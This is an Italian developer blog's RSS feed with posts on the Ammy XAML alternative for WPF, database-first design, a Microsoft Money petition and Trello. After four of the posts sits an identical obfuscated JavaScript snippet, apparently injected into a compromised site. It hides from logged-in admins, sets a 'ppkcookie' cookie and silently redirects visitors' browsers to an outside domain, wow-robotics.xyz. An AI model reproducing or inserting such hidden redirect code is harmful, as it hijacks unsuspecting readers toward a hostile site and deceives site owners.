<pre id="codeSnippet" class="csharpcode"><span class="kwrd">using</span> FsxLogger.ViewModels.Portable</pre>
<p>Da questo momento in poi, l’Intellisense reagirà e potremo inserire le classi contenute in quel namespace. Nelle risorse della Window inseriamo il viewmodel.</p>
</div>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Resources: [
    LoginViewModel Key=<span class="str">"vm"</span> { }
]</pre>
</div>
<p>Questa è la sintassi da utilizzare. La proprietà Resources delle Windows è di tipo ResourceCollection, quindi può contenere ovviamente più oggetti, motivo per il quale abbiamo dovuto usare le parentesi [ e ], come in JSON, per indicare un array di oggetti. All’interno ho inserito la classe <strong>LoginViewModel</strong> (notare: <font color="#008040">senza usare alcun prefisso come invece accadrebbe in XAML</font>), assegnando una Key “vm”. Fatto.</p>
<p>Passo successivo è quello di assegnare la proprietà DataContext ad un controllo (la finestra? il controllo più esterno del visual tree?) per far propagare il viewmodel per tutta la view.</p>
<p>Nel mio caso, ho impostato DataContext sulla Grid a linea 14.</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Grid
    {
        DataContext: resource <span class="str">"vm"</span>,
        #TwoColumns(120), #ThreeRows(<span class="str">"Auto"</span>, <span class="str">"Auto"</span>),
        Margin: <span class="str">"8"</span>
    }</pre>
</div>
<p>Il codice che vedete qui è semplificato rispetto a ciò che vedete su GitHub. Notare l’utilizzo della keyword Ammy <strong><font color="#0000ff">resource</font></strong>, equivalente alla <strong><font color="#0000ff">StaticResource</font></strong> di XAML, ma lievemente più compatta.</p>
<p>Come accade con lo XAML, il DataContext fa propagare la classe di viewmodel per tutto il visual tree della nostra UI. Grazie a questo meccanismo, da qui in avanti potremo fare binding sui controlli e rendere il tutto funzionante. Ma questo è argomento dei prossimi post.</p>
<p><strong>Prima di chiudere, due note importanti</strong></p>
<p>Ricordiamoci sempre che compito di Ammy è quello di generare l’equivalente codice XAML. Ciò significa che mentre noi lavoriamo sulla view LoginWindow.ammy, da qualche parte esiste un altro file LoginWindow con estensione XAML. Dove si trova? E’ semplice: nel solution explorer attivate l’opzione “Show All Files”, così cominciate a vedere anche quelli nascosti. Eccolo lì, l’avete trovato!!!</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-3.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-3.png" width="304" height="203"></a></p>
<p>E’ molto comodo perchè questo file XAML è autogenerato dal codice Ammy, e quindi potete man mano verificare che tutto funzioni regolarmente.</p>
<p><strong>E perchè, allora, usare Ammy?</strong> Lo ripeto: perchè è estremamente più compatto, perchè ci sono mixin ed alias (utilissimi), perchè fare binding con la sintassi XAML è più veloce e parlante (Intellisense permettendo), per i bellissimi <strong><font color="#008040">inline binding converter</font></strong>, che sono meravigliosi.</p>
<p><strong><font color="#0000ff">La seconda ed ultima cosa che vi voglio far notare è che Ammy non si lamenta se per sbaglio specificate due volte la stessa proprietà sullo stesso controllo, cosa che invece XAML fa. </font></strong>Mi spiego meglio; guardate questo stralcio di codice:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Window <span class="str">"FsxLogger.Client.LoginWindow"</span>
    {
    Width: 320, Height: 240, Width: 320, Height: 240
    WindowStartupLocation: CenterScreen,
    WindowStyle: ToolWindow, Title: <span class="str">"Login"</span>
    FocusManager.FocusedElement: bind from <span class="str">"focus"</span>
    }</pre>
</div>
<p>Ho ripetuto <strong>Width</strong> e <strong>Height</strong> della Window due volte, volutamente, per sbaglio. <strong><font color="#008040">Ammy non si lamenta.</font></strong> <strong><font color="#ff0000">XAML lo farebbe</font></strong>, invece. Andate a dare un’occhiata al codice XAML generato. Ammy fa una cosa molto semplice: evita di duplicare quelle proprietà, esattamente come dovrebbe fare.</p>
<p>Il codice compila, l’applicazione parte, noi siamo felici.</p>
<p>Alla prossima! Happy coding!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/03/ammy-3-primi-passi-con-mvvm.aspx/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Scusi, mi rif&#224; il programma?</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/02/scusi-mi-rif-il-programma.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=scusi-mi-rif-il-programma</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/02/scusi-mi-rif-il-programma.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Thu, 02 Feb 2017 09:11:00 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2830</guid>

					<description><![CDATA[Questo post è basato su fatti realmente accaduti. E’ successo. E’ ricapitato. Per l’ennesima volta, è riaccaduta la stessa cosa. Un potenziale cliente vi contatta, vi incontrate, chiaccherate per la prima volta su quello che dovrà fare il meraviglioso software che ha in testa. E per l’ennesima volta devi ricostruire, riprogettare da zero, un software [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><em><span style="color: #804000">Questo post è basato su fatti realmente accaduti.</span></em></p>
<p>E’ successo. E’ ricapitato. Per l’ennesima volta, è riaccaduta la stessa cosa.</p>
<p>Un potenziale cliente vi contatta, vi incontrate, chiaccherate per la prima volta su quello che dovrà fare il meraviglioso software che ha in testa. E per l’ennesima volta devi ricostruire, riprogettare da zero, un software già esistente, scritto lustri prima in MFC, o in Visual Basic 4.0, o in Access 97 o addirittura 2.0. E chiamano te per riconvertirlo e riprogettarlo in .NET, magari perchè si sono accorti che non sono più competitivi sul mercato, perchè il codice è diventato ingestibile, perchè vogliono avere l’app sotto iOS o Android, o per mille altri motivi. Non c’è documentazione, c’è solo un gruppetto di persone che sanno perfettamente cosa deve fare il software, ma non c’è nulla di scritto e di formalizzato. Non c’è nulla di male in tutto questo, d’altronde lavoro è lavoro.</p>
<p>Tu, con il tuo bravo e fidato Visual Studio, vorresti cominciare lo sviluppo di questo software magari con DDD, scrivendo le classi e pensando accuratamente il dominio applicativo, quindi – per farla breve – approcciando ad una metodologia <em>code-first</em>. Prima le classi, in seguito la logica, poi penserai al modello di persistenza. Ma il tuo cliente ragiona diversamente; come accadeva decenni fa (quando il suo software è stato scritto la prima volta) ragiona partendo dal database. Per lui è essenziale vedere lo schema del database, per capire se stai scrivendo la cosa giusta. Prima di vedere anche una sola linea di codice C#, vuole vedere le tabelle, le relazioni, i campi ed i nomi dei campi come piacciono a lui.</p>
<p>Di fronte ad una situazione di questo tipo, ci sono tante strade. Ne cito due.</p>
<ol>
<li><strong>Tu ragioni sempre e comunque <em>code-first</em>.</strong> Scrivi le classi e lasci che sia l’ORM (Entity Framework?) a generarti tutto il mondo della persistenza relazionale. Ma siccome per il cliente lo schema del database è fondamentale – dal quale dipende il Supremo Destino della nostra Galassia – allora cominci a litigare con attributi o con vagonate di codice, per educare l’ORM a generarti lo schema del db esattamente come lo vuole il cliente</li>
<li><strong>Ti arrendi all’evidenza e cominci a progettare il database</strong>. Quindi segui il modello <em>database-first</em>. Fattibile, no? Al massimo, parlando di Entity Framework, una volta creato il database puoi farti comunque generare le classi tramite l’approccio “Code First from database”. Così al massimo puoi attivarti le migration&#8230;</li>
</ol>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image.png"><img style="padding-top: 0px;padding-left: 0px;padding-right: 0px;border: 0px" title="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb.png" alt="image" width="404" height="337" border="0"></a></p>
<p>Il discorso, a mio avviso è semplice. Se vuoi portare a casa la pagnotta, al cliente devi comunque dare retta. Se il tuo committente, magari perchè è stato educato male, ragiona partendo dal database, purtroppo non puoi farci nulla. Io poi parto da un semplice presupposto: se hai chiamato me, non vuoi semplicemente uno che digita o scrive codice, ma vuoi uno che ci metta la testa. Però non sempre si ha questa possibilità, per diversi motivi.</p>
<p><strong><span style="color: #ff0000">Detto questo, il primo approccio è <em>code-first</em> solo in apparenza.</span></strong> Tecnicamente cominci scrivendo un sacco di classi, ma in realtà nella tua testa sei costantemente traviato da ciò che dovrai ottenere come struttura sul database. E’ solo un palliativo, insomma. Scrivi una classe, e poi via…tonnellate di codice nel metodo OnModelCreating di Entity Framework per piegare ai tuoi voleri l’ORM. Burp, equivalente al ruttino.</p>
<p>Il secondo approccio è a tutti gli effetti <em>database-first</em>. E se il cliente ragiona in questo modo, che male c’è? Siamo pagati per scrivere un software o per fare gli accademici? Quindi, che male c’è ad aprire il <em><span style="color: #0000ff">Microsoft SQL Server Management Studio</span></em>, stendere tutte le tabelle, campi, relazioni, e poi importarle via Entity Framework? In questo modo il cliente è soddisfatto, io ho le mie classi su cui poi cominciare a sviluppare. Se il progetto è di una certa importanza e/o durata, ci sarà magari tutto il tempo per guadagnare stima e fiducia verso il cliente, e ci saranno tutte le occasioni per indirizzarlo verso strade e percorsi più moderni allo sviluppo del software.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/02/scusi-mi-rif-il-programma.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Riportare in vita Microsoft Money?</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/01/riportare-in-vita-microsoft-money.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=riportare-in-vita-microsoft-money</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/01/riportare-in-vita-microsoft-money.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Wed, 01 Feb 2017 08:54:00 +0000</pubDate>
				<category><![CDATA[My personal life]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2826</guid>

					<description><![CDATA[Non so quanti di voi miei lettori lo abbiano utilizzato in passato. Microsoft Money è un bel software di produttività personale, per tener traccia delle proprie spese, di tenere sotto controllo il proprio budget, dotato (secondo me) di un’interfaccia utente pulita, colorata ed accattivante. Money è stato dismesso da parecchi anni. Ma ieri, 30 gennaio, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Non so quanti di voi miei lettori lo abbiano utilizzato in passato. <strong>Microsoft Money</strong> è un bel software di produttività personale, per tener traccia delle proprie spese, di tenere sotto controllo il proprio budget, dotato (secondo me) di un’interfaccia utente pulita, colorata ed accattivante.</p>
<p><img src="https://assets.change.org/photos/8/vi/qb/YYVIQbMbKwtzNpN-800x450-noPad.jpg?1484437536" alt="" width="512" height="288" /></p>
<p><strong>Money</strong> è stato dismesso da parecchi anni. <strong><span style="color: #0000ff">Ma ieri, 30 gennaio, è stata avviata una raccolta di firme</span></strong>, una petizione insomma, per riportarlo in vita e farlo rientrare nella ben nota suite Microsoft Office. La petizione è rivolta a niente meno che Satya Nadella. E sono richieste anche feature innovative, come una versione per dispositivi mobili, o la possibilità di averne una versione Web integrata con Office 365. Sarebbe davvero una cosa molto molto interessante.</p>
<p>Nel momento in cui vi scrivo mancano 300 firme al raggiungimento delle 1.000 necessarie all&#8217;invio di tutte le firme a Sua Maestà Nadella. Chissà se qualcuno ci farà un pensierino.</p>
<p><strong><span style="color: #008040">Trovate maggiori informazioni qua:</span></strong><br />
<a title="https://www.change.org/p/satya-nadella-bring-back-microsoft-money-as-part-of-microsoft-office" href="https://www.change.org/p/satya-nadella-bring-back-microsoft-money-as-part-of-microsoft-office">https://www.change.org/p/satya-nadella-bring-back-microsoft-money-as-part-of-microsoft-office</a></p>
<p>Beh, che ne dite? Si può fare? Ci state?<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/01/riportare-in-vita-microsoft-money.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Uso Trello, e non ne faccio pi&#249; a meno</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/01/31/uso-trello-e-non-ne-faccio-pi-a-meno.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=uso-trello-e-non-ne-faccio-pi-a-meno</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/01/31/uso-trello-e-non-ne-faccio-pi-a-meno.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 31 Jan 2017 09:03:00 +0000</pubDate>
				<category><![CDATA[My personal life]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2824</guid>

					<description><![CDATA[Dall’estate scorsa utilizzo Trello, e ve ne voglio parlare. Lo trovo utile per tenere traccia delle mie attività, non solo lavorative. L’organizzazione avviene tramite Bacheche, che di default è privata, mentre può essere condivisa con altre persone, feature tra l’altro che non ho ancora provato con una certa continuità. Ciascuna Bacheca può contenere una o [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Dall’estate scorsa utilizzo Trello, e ve ne voglio parlare.</p>
<p>Lo trovo utile per tenere traccia delle mie attività, non solo lavorative.</p>
<p>L’organizzazione avviene tramite <strong>Bacheche</strong>, che di default è privata, mentre può essere condivisa con altre persone, feature tra l’altro che non ho ancora provato con una certa continuità. Ciascuna Bacheca può contenere una o più <strong>Liste</strong>, ogni <strong>Lista</strong> può contenere una o più <strong>Schede</strong>. Queste ultime contengono le vere attività di lavoro, che possono essere espresse in diversi modi: semplici appunti e check-list da completare, per esempio. Ogni scheda può avere una data di scadenza, allegati, e via dicendo.</p>
<p>Ad oggi, le <strong>Bacheche</strong> che utilizzo sono fondamentalmente tre:</p>
<ul>
<li>Attività personali</li>
<li>Brain-Sys</li>
<li>Piloti Virtuali Italiani</li>
</ul>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-36.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-35.png" width="516" height="303"></a></p>
<p>Ne ho nascosta una per motivi di privacy.</p>
<p>All’interno di <strong>Attività personali</strong> ho istanziato due schede: <strong>Attività Social</strong> ed <strong>Altro</strong>. Nelle <strong>Attività Social</strong> creo una scheda ogni volta che mi viene in mente un contenuto di cui parlare qua sul mio blog, mentre in Altro mi segno un po’ tutto il resto: ricordarsi di cercare un’assicurazione RCA più conveniente di quello che ho adesso, lista della spesa, ricordarsi di comprare questo o quello, etc.</p>
<p>Per quanto riguarda la Bacheca dedicata a <strong>Brain-Sys</strong>, ho una scheda per ciascun cliente che gestisco. E per ogni cliente mantengo una lista delle attività in corso, ovviamente sotto forma di appunti rapidi e veloci, perchè l’analisi, gli use-case e la documentazione di progetto sta da tutt’altra parte. Però…sapete…quelle attività estemporanee del tipo: ricordati di mandare la mail, scrivi il rapportino del giorno XYZ, fai due presale, rispondi a Silvia su questo &amp; quello. Quelle attività difficilmente tracciabili in altra maniera.</p>
<p>La Bacheca di <strong>Piloti Virtuali Italiani</strong> è un po’ in disuso, o comunque meno attive delle altre due. Mi segno di rispondere via mail al socio, mi segno i Direttivi ai quali devo partecipare, etc.</p>
<p>Ad una Bacheca possiamo impostare un colore di sfondo, possiamo installare dei plug-in (chiamati Power-Up) per abilitare funzioni avanzate, possiamo consultare velocemente la history di tutte le modifiche apportare, etc. Tutto molto veloce ed a portata di click.</p>
<p><strong>Alcune feature interessanti delle schede</strong><br />
Ogni scheda ha caratteristiche interessanti. Come dicevo prima, ogni scheda rappresenta un’attività da portare a termine. Possiamo associargli una eventuale etichetta (che determina il colore con la quale verrà rappresentata sullo schermo), una data di scadenza. Ogni scheda è composta da uno o più commenti, che possono essere testo, indirizzi web, etc. In una scheda possiamo inserire una check-list: ve ne parlo più sotto. All’interno di un testo possiamo menzionare un membro con il quale stiamo condividendo i contenuti. Possiamo allegare uno o più file in allegato, di qualsiasi tipo.</p>
<p>Ogni elemento di Trello (Bacheca, Scheda, Lista) può essere archiviato: questo significa che non viene più visualizzato sullo schermo. Ovviamente possiamo sempre recuperarlo in futuro, nel caso in cui ci servisse recuperare qualcosa.</p>
<p>L’interfaccia web è gradevole, pulita, essenziale e risponde bene. Sapete quanto io preferisca, normalmente, le applicazioni desktop o mobile rispetto ad un’applicazione usufruita via browser. Beh, non è questo il caso.</p>
<p><strong>Shortcut tramite tastiera</strong><br />
Una feature interessante è la presenza delle scorciatoie da tastiera, che permettono di avviare subito operazioni veloci. Premete “d” mentre siete su una scheda per impostare la data di scadenza, per esempio. Premete i tasti numerici per associare subito un’etichetta, e così via. Fantastico. Potete vedere o disattivare gli shortcut dal menù di opzioni in alto a destra.</p>
<p><strong>Il punto di forza…sono due…!!!!!</strong><br />
<strong><font color="#0000ff">Il primo è, secondo me, la flessibilità di ogni scheda</font></strong>, che consente di prendere appunti in modo libero, impostare una eventuale data di scadenza, allegare file in allegato di qualunque tipo. La feature che mi piace di più è la possibilità di creare le cosiddette check-list, ovvero un elenco di task da portare a termine. Trello evidenzia con una sorta di barra di progresso lo stato di quella check-list, così che avete con un colpo d’occhio la situazione di ciò che dovete fare, quanto e cosa vi manca alla fine, etc.</p>
<p>Ma allo stesso tempo è rigido, nel senso che tutto è ben strutturato e suddiviso in Bacheche, Lista e Schede, e non potete sfuggire – giustamente – da questa struttura generale. OneNote per certi versi è un prodotto paragonabile a Trello, ma quest’ultimo è più improntato alla gestione degli appunti, agli sketch, ad un testo comunque più lungo e complesso. Passatemi il paragone: Trello è il Twitter dei Task Manager. Vi suggerisce di essere concisi, rapidi ed essenziali. Eppure ha tutto.</p>
<p><strong><font color="#0000ff">L’altro punto di forza è la presenza delle app</font></strong>, che vi permettono di aprire, consultare e gestire il vostro Trello da Android o iOS. Onestamente in questo momento, mentre vi sto scrivendo, non sono in grado di garantirvi la presenza di app per Windows 10. Io ho installato l’app per Android, mi trovo più che bene e vi posso assicurare, per quello che vale, che vi capiterà spesso di aprirla per leggere o scrivere qualcosa. O forse dipende da me, dal fatto che ultimamente ho il cervello in fermento!</p>
<p><strong>E non ne faccio più a meno</strong><br />
Non ne faccio più a meno, perchè grazie a Trello riesco a mettere in fila le cose che devo fare, e che altrimenti mi sfuggirebbero. Grazie a Trello ho ricominciato a scrivere sul blog, perchè ogni volta che mi si accende la lampadina su un eventuale contenuto, me lo segno…e la sera, quando mi metto davanti al PC a scrivere, pesco a caso da ciò che mi ero appuntato.</p>
<p>Se come me siete un po’ distratti, tendete a dimenticare le cose o volete semplicemente essere più organizzati, date una possibilità a Trello. Per me è diventato uno strumento essenziale.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/01/31/uso-trello-e-non-ne-faccio-pi-a-meno.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>[Ammy.2] Il file lib.ammy: mixin e alias</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/01/30/ammy-2-il-file-lib-ammy-mixin-e-alias.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ammy-2-il-file-lib-ammy-mixin-e-alias</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/01/30/ammy-2-il-file-lib-ammy-mixin-e-alias.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 30 Jan 2017 08:48:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2820</guid>

					<description><![CDATA[Quando in un progetto WPF installate tramite NuGet la libreria Ammy, nel progetto vi ritrovate anche un file lib.ammy. Cosa contiene? A cosa serve? Il file lib.ammy contiene tantissime funzioni utilissime e pronte all’uso. Tali funzioni in linguaggio Ammy sono divise in due tipologie: Mixin Alias Il file lib.ammy è liberamente modificabile, e quindi possiamo [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Quando in un progetto WPF installate tramite NuGet la libreria Ammy, nel progetto vi ritrovate anche un file <em><font color="#0000ff">lib.ammy</font></em>. Cosa contiene? A cosa serve?</p>
<p>Il file <font color="#0000ff"><em>lib.ammy</em></font> contiene tantissime funzioni utilissime e pronte all’uso.<br />
Tali funzioni in linguaggio Ammy sono divise in due tipologie:</p>
<ul>
<li>Mixin</li>
<li>Alias</li>
</ul>
<p>Il file <em><font color="#0000ff">lib.ammy</font></em> è liberamente modificabile, e quindi possiamo aggiungere nostri mixin o alias, oltre che ovviamente modificare o migliorare quelli esistenti.</p>
<p><strong>Utilizzare i mixin</strong><br />
Concettualmente parlando, un mixin assomiglia ad un tradizionale stile di WPF. Un mixin si applica ad un controllo WPF – come uno stile – e restituisce un set di proprietà ben definito. Ad esempio:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">mixin Header() for TextBlock {
    FontWeight: Bold,
    FontSize: 36,
    Foreground: DarkGray
}</pre>
<p>Questo stralcio di Ammy definisce un mixin chiamato <strong>Header</strong>, che è applicabile a tutte le TextBlock, a che in pratica definisce dei valori per le proprietà FontWeight, FontSize e Foregound. Come si utilizza? In questo modo:</p>
</div>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Window "StudyAmmy.StartWindow" {
    StackPanel { Orientation: Horizontal,
    Children: [
        TextBlock { Text: "some text", #Header() }
    ] }
}</pre>
</div>
